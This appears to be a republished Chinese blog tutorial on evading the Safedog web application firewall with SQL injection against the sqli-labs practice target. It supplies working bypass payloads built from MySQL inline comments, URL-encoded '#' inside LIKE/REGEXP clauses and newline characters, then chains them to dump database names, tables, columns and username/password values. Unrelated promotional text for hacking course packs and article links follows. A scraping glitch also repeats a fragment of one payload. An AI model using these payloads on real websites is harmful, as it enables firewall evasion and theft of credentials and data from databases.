什么,有狗快跑!慢著,這次手把手教你怎么過安全狗!(sql注入篇)

前言

在記憶里上次繞安全狗還是在上次,開開心心把自己之前繞過狗的payload拿出來,發現全部被攔截了,事情一下子就嚴肅起來了,這就開整。

img

環境

本次環境如下sqli-lab的sql注入靶場
網站安全狗APACHE版V4.0版本的最高防護等級

繞過方法

首先先來分析分析以前以前繞過的Payload

-1' union/*!10440*/select 1,2,3--+

其中這里的10440數字經過fuzz可以替換的有如下

10440–10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等

但是在更新后的安全狗后這些payload已經全部被攔截

img

到這就不得不提提安全狗之前的匹配規則了,我們單獨union不會被攔截

img

單獨select也不會被攔截

img

但是union和select放一起組合就會被匹配出來,然后被安全狗所攔截

img

基于這個特性,我們利用之前的payload

-1' union/*!10440*/select 1,2,3--+

是可以繞過老版本的安全狗的,這里在union和select中間加入了一個/*!10440*/,眾所周知在mysql中/*!..*/不是注釋,mysql為了保持兼容,它把一些特有的僅在mysql上用的語句放在/*!..*/中,這樣這些語句如果在其他數據庫中是不會被執行,但在mysql中它會執行

所以union/*!10440*/select等價于union select,且繞過了安全狗對union和select字符一起組合的檢測

img

img

但是安全狗更新之后,所有的payload都已經失效,那么我們猜測一下,安全狗更新后是不是匹配union和select之間所有的字符,匹配到之后用空字符替換,再檢測是否存在union select組合,為了驗證這個猜測我們對我們的payload進行fuzz驗證一下

跑了一些特殊的字符發現都被攔截

img

但是唯獨有一個符號沒有被返回的length長度不一樣

img

按我們看看這個’#'會擦出什么愛情的火花

我們利用如下語句

?id=-1' union/*!test01#test02*/select 1,2,3--+

img

此處我們搞清楚一個流程,我們的語句發送過去,首先接收安全狗檢測,安全狗檢測到’#‘號,所以’#‘后面的都會被截斷拋棄,所以安全狗只能匹配到’#‘前的union,但是沒匹配到’#‘后的select,所以通過安全狗。在通過安全狗后我們的語句被數據庫接收,數據庫此處處理過程和安全狗處理流程一樣,都是只能匹配到’#‘前的union,但是沒匹配到’#'后的select,最終導致語句不完整導致最后的報錯。

說到這里我們究竟要怎么去繞過這個可惡的安全狗呢,我們想象這么一個場景,首先我們的’#‘被安全狗識別,但是在我們的SQL語句中并不識別這個’#',這樣我們就可以達到繞過安全狗而且保持正確的SQL語句來實現我么的注入。

我們來看下下面兩語句

SELECT * FROM number WHERE home_id =1 LIKE "[%23]";
SELECT * FROM number WHERE home_id =1 LIKE "[%23]" union select * FROM number;

img

img

此處SELECT * FROM number WHERE home_id =1 LIKE “[%23]”;查出來一個空表

所以SELECT * FROM number WHERE home_id =1 LIKE “[%23]” union select * FROM number;相當于select * FROM number;

該語句是存在一個LIKE “[%23]”,也正是這個LIKE "[%23]"讓我們的SELECT * FROM number WHERE home_id =1成為一個空表。

img

img

那么這個語句有什么用的,可以發現我們的LIKE "[%23]"中有一個%23,眾所周知#的url編碼是%23,那么這條語句帶入到安全狗中,安全狗會不會識別這個#呢,帶著這樣的猜想我們構造如下payload。

-1' like "[%23]" /*!10440union select*/ 1,2,3 --+

img

嗚嗚嗚,還是被攔截了,吹牛逼吹了這么久,白吹了。

但是我這種陽光、帥氣、善解人意且堅持不懈的小伙子會這么容易就放棄嗎,顯然不會,后面猜測是/*!10440union select*/中的union select被檢測出來了,所以在union select中間下了點功夫,最終payload如下

-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+

img

奈何無文化,一句臥槽走天下。

最后總結下安全狗的檢測機制

首先整體語句做一個檢測,這個檢測也是最強最牛X的

'#‘后的語句雖然被截斷,但截斷之后并不是和我們最初想的那樣完全不檢測,’#'截斷的語句還是會被檢測,只是檢測規則相比第一次不同且相比第一次檢測強度相比較弱,所以我們可以對其進行繞過。

當然除了like關鍵字,我們還可以使用如下payload

-1' or "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' regexp "[%23]" /*!10440union%0aselect*/ 1,2,3 --+
-1' /*%23*/ /*!10440union%0aselect*/ 1,2,3 --+

知道了這個特性接下來就,那就用這一招打過天下無敵手

爆數據庫名和用戶名

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),user(/*!10440%0a*/)--+

img

爆表名

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(table_name) from/*%23*/information_schema.tables where table_schema=database(/*!10440%0a*/)--+

img

爆字段

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(column_name) from/*%23*/information_schema.columns where table_schema=database(/*!10440%0a*/) /*!10440and*/ table_name='users'--+

img

爆字段中的值

-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(username,password) from users--+

img

總結

1、內聯yyds

ble_name=‘users’–+

[外鏈圖片轉存中...(img-FrCihZvx-1720511320761)]爆字段中的值```text
-1' like "[%23]" /*!10440union%0aselect*/ 1,database(/*!10440%0a*/),group_concat(username,password) from users--+

[外鏈圖片轉存中…(img-NeCkiaDo-1720511320762)]

總結

1、內聯yyds

2、在一些被攔截的地方多用/*%23*/和/*!10440%0a*/,有奇效。

今天只要你給我的文章點贊,我私藏的網安學習資料一樣免費共享給你們,來看看有哪些東西。

網絡安全學習資源分享:

給大家分享我自己學習的一份全套的網絡安全學習資料,希望對想學習 網絡安全的小伙伴們有幫助!

零基礎入門

對于從來沒有接觸過網絡安全的同學,我們幫你準備了詳細的學習成長路線圖。可以說是最科學最系統的學習路線,大家跟著這個大的方向學習準沒問題。

【點擊免費領取】CSDN大禮包:《黑客&網絡安全入門&進階學習資源包》

1.學習路線圖

在這里插入圖片描述

攻擊和防守要學的東西也不少,具體要學的東西我都寫在了上面的路線圖,如果你能學完它們,你去接私活完全沒有問題。

2.視頻教程

網上雖然也有很多的學習資源,但基本上都殘缺不全的,這是我自己錄的網安視頻教程,上面路線圖的每一個知識點,我都有配套的視頻講解。【點擊領取視頻教程】

在這里插入圖片描述

技術文檔也是我自己整理的,包括我參加大型網安行動、CTF和挖SRC漏洞的經驗和技術要點,電子書也有200多本【點擊領取技術文檔】

在這里插入圖片描述

(都打包成一塊的了,不能一一展開,總共300多集)

3.技術文檔和電子書

技術文檔也是我自己整理的,包括我參加大型網安行動、CTF和挖SRC漏洞的經驗和技術要點,電子書也有200多本【點擊領取書籍】

在這里插入圖片描述

4.工具包、面試題和源碼

“工欲善其事必先利其器”我為大家總結出了最受歡迎的幾十款款黑客工具。涉及范圍主要集中在 信息收集、Android黑客工具、自動化工具、網絡釣魚等,感興趣的同學不容錯過。

在這里插入圖片描述

最后就是我這幾年整理的網安方面的面試題,如果你是要找網安方面的工作,它們絕對能幫你大忙。

這些題目都是大家在面試深信服、奇安信、騰訊或者其它大廠面試時經常遇到的,如果大家有好的題目或者好的見解歡迎分享。

參考解析:深信服官網、奇安信官網、Freebuf、csdn等

內容特點:條理清晰,含圖像化表示更加易懂。

內容概要:包括 內網、操作系統、協議、滲透測試、安服、漏洞、注入、XSS、CSRF、SSRF、文件上傳、文件下載、文件包含、XXE、邏輯漏洞、工具、SQLmap、NMAP、BP、MSF…

在這里插入圖片描述

👋全套《黑客&網絡安全入門&進階學習資源包》👇👇👇

這份完整版的學習資料已經上傳CSDN,也可以微信掃描下方CSDN官方認證二維碼免費領取【保證100%免費

img

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/43760.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/43760.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/43760.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

秋招Java后端開發沖刺——并發篇2(ThreadLocal、Future接口)

本文對ThreadLocal類和Future接口進行了總結概括,包括ThreadLocal類的原理、內存泄露等問題,和Future接口的使用等問題。 一、ThreadLocal 1. 介紹 ThreadLocal(線程局部變量)是Java中的一個類,線程通過維護一個本地…

一文帶你徹底搞懂什么是責任鏈模式!!

文章目錄 什么是責任鏈模式?詳細示例SpingMVC 中的責任鏈模式使用總結 什么是責任鏈模式? 在我們日常生活中,經常會出現一種場景:一個請求需要經過多個對象的處理才能得到最終的結果。比如,一個請假申請,需…

STM32智能倉庫管理系統教程

目錄 引言環境準備智能倉庫管理系統基礎代碼實現:實現智能倉庫管理系統 4.1 數據采集模塊 4.2 數據處理與控制算法 4.3 通信與網絡系統實現 4.4 用戶界面與數據可視化應用場景:倉庫管理與優化問題解決方案與優化收尾與總結 1. 引言 智能倉庫管理系統通…

藏漢翻譯通作為翻譯軟件的優勢有哪些?

藏漢翻譯通作為一款專業的藏漢雙語翻譯軟件,具有以下優勢: 人工智能技術應用:藏漢翻譯通利用了人工智能翻譯和語音識別合成技術,提供智能藏文翻譯服務。 高準確率:文字識別準確率可達90%,語音識別轉化文字…

蒼穹外賣--導入分類模塊功能代碼

把各層代碼拷貝到所需文件夾下, 進行編譯 在運行 提交和推送倉庫

解鎖AI大模型潛能:預訓練、遷移學習與中間件編程的協同藝術

在人工智能的浩瀚星空中,大型預訓練模型(Large Language Models, LLMs)猶如璀璨的星辰,引領著技術革新的浪潮。這些模型通過海量數據的滋養,學會了理解語言、生成文本乃至執行復雜任務的能力。然而,要讓這些…

【正點原子i.MX93開發板試用連載體驗】項目計劃和開箱體驗

本文最早發表于電子發燒友:【   】【正點原子i.MX93開發板試用連載體驗】基于深度學習的語音本地控制 - 正點原子學習小組 - 電子技術論壇 - 廣受歡迎的專業電子論壇! (elecfans.com)https://bbs.elecfans.com/jishu_2438354_1_1.html 有一段時間沒有參加電子發…

Pyspider WebUI 未授權訪問致遠程代碼執行漏洞復現

0x01 產品簡介 Pyspider是由國人binux編寫的強大的網絡爬蟲系統,它帶有強大的WebUI(Web用戶界面),為用戶提供了可視化的編寫、調試和管理爬蟲的能力。這一特點使得Pyspider在爬蟲框架中脫穎而出,尤其適合那些希望快速上手并高效開發爬蟲的用戶。允許用戶直接在網頁上編寫…

for in和for of對比

不同點: 時間點不同:for in 在js出現之初就有,for of出現在ES6之后 遍歷的內容不同:for in用于遍歷對象的可枚舉屬性(包括原型鏈上的可枚舉屬性),for of用于遍歷可迭代對象的值 看個例子 // for in const arr [a,b,…

Linux--線程的控制

目錄 0.前言 1.pthread庫 2.關于控制線程的接口 2.1.創建線程(pthread_create) 2.2.線程等待(pthread_join) 代碼示例1: ?編輯 ***一些問題*** 2. 3.創建多線程 3.線程的終止 (pthread_exit /…

給數組/對象添加一個(key-value)對象

需要將一個value值前面加上key值,放進數組/對象中 this.$set(res.data[0],type,1) this.$set( target, key, value ) target:要更改的數據源(可以是對象或者數組) key:要更改的具體數據 value :重新賦的值。 結果:…

文華財經盤立方多空變色波段趨勢線指標公式源碼

文華財經盤立方多空變色波段趨勢線指標公式源碼&#xff1a; N1:20; N2:ROUND(N1/2,1); N3:ROUND(SQRT(N1),1); N4:2*EMA2(C,N2)-EMA2(C,N1); 尊重市場:EMA2(N4,N3),COLORRED,LINETHICK2; 尊重市場1:IF(尊重市場<REF(尊重市場,1), 尊重市場,NULL),COLORGREEN,LINETHIC…

C++之List模擬實現

目錄 list的邏輯結構 構造函數 拷貝構造函數 賦值運算符重載 返回迭代器的初始位置 返回迭代器的最終位置 元素的插入 頭插 尾插 刪除元素 頭刪 尾刪 清空整個鏈表 析構函數 正向迭代器 反向迭代器 整體代碼 上期我們學寫了list的基本操作&#xff0c;本期我…

蘇東坡傳-讀書筆記十一

蘇東坡對寫作與風格所表示的意見最為清楚。他說做文章“大略如行云流水&#xff0c;初無定質&#xff0c;但常行于所當行&#xff0c;常止于所不可不止。文理自然&#xff0c;姿態橫生。孔子曰&#xff1a;‘言之不文&#xff0c;行而不遠。’又曰&#xff1a;‘辭達而已矣。’…

【cocos creator】2.4.x實現簡單3d功能,點擊選中,旋轉,材質修改,透明材質

demo下載:(待審核) https://download.csdn.net/download/K86338236/89527924 const {ccclass, property } = cc._decorator;const enum box_color {NORMAL = 0,DASHED_LINE = 1,//虛線TRANSLUCENT = 2,//半透明 }@ccclass export default class main extends cc.Component {…

STC32G/F/8H通用無刷電機驅動板

STC32G/F/8H通用無刷電機驅動板 &#x1f4cc;相關篇《低成本STC32G8K64驅動控制BLDC開源入門學習方案》 ?該驅動板是在上一版的基礎上改版而來。這里的STC32G/F/8H所指的是封裝型號為-LQFP48的STC32G8K64、STC32G12K128、STC32F12K54、STC8H8K64U。是一款兼容有感和無感設計的…

數據結構--樹和二叉樹的一些知識點總結

樹是n個結點的有限集&#xff0c;當n0時&#xff0c;稱為空樹。樹是一種遞歸的數據結構&#xff0c;樹作為一種邏輯結構同時也是一種分層的結構結點的深度是從根開始自頂向下累加&#xff1b;結點的高度是從葉結點自底向上累加由于樹中的分支是有向的&#xff0c;即從雙親指向孩…

【Java算法】二分查找 下

&#x1f525;個人主頁&#xff1a; 中草藥 &#x1f525;專欄&#xff1a;【算法工作坊】算法實戰揭秘 一.山脈數組的峰頂索引 題目鏈接&#xff1a;852.山脈數組的峰頂 ? 算法原理 這段代碼實現了一個查找山峰數組中峰值索引的算法。山峰數組是一個先遞增后遞減的數組&…

玩具營銷是如何拿捏成年人錢包?

好像現在的成年人逐漸熱衷于偏向年輕化&#xff0c;問問題會好奇“尊嘟假嘟”&#xff0c;飯量上的“兒童套餐”&#xff0c;娃娃機前排長隊......而最突出的莫過于各類各式的玩具不斷收割當代年輕人&#xff0c;除去常給大朋友們小朋友們送去玩具福利的“麥、肯”雙門&#xf…

激光干涉儀可以完成哪些測量:全面應用解析

在高端制造領域&#xff0c;精度是衡量產品質量的關鍵指標之一。激光干涉儀作為一項高精度測量技術&#xff0c;其應用廣泛&#xff0c;對于提升產品制造精度具有重要意義。 線性測量&#xff1a;精確定位的基礎 激光干涉儀采用邁克爾遜干涉原理&#xff0c;實現線性測量。該…